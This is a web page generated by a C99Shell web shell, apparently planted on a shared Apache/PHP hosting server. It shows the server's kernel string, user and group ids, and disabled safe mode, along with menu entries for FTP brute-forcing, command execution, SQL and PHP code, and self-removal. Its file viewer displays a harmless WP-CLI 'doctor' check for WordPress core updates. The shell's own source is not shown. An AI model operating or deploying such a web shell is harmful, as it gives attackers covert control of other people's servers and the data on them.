!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/doctor-command/src/Check/   drwxr-xr-x
Free 712.67 GB of 879.6 GB (81.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Core_Update.php (1.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Doctor\Check;

use WP_CLI;
use WP_CLI\Doctor\Check;

/**
 * Errors when new WordPress minor release is available; warns for major release.
 */
class Core_Update extends Check {

    public function run() {
        ob_start();
        WP_CLI::run_command( array( 'core', 'check-update' ), array( 'format' => 'json' ) );
        $ret       = ob_get_clean();
        $updates   = ! empty( $ret ) ? json_decode( $ret, true ) : array();
        $has_minor = false;
        $has_major = false;
        foreach ( $updates as $update ) {
            switch ( $update['update_type'] ) {
                case 'minor':
                    $has_minor = true;
                    break;
                case 'major':
                    $has_major = true;
                    break;
            }
        }

        if ( $has_minor ) {
            $this->set_status( 'error' );
            $this->set_message( "Updating to WordPress' newest minor version is strongly recommended." );
        } elseif ( $has_major ) {
            $this->set_status( 'warning' );
            $this->set_message( 'A new major version of WordPress is available for update.' );
        } else {
            $this->set_status( 'success' );
            $this->set_message( 'WordPress is at the latest version.' );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0123 ]--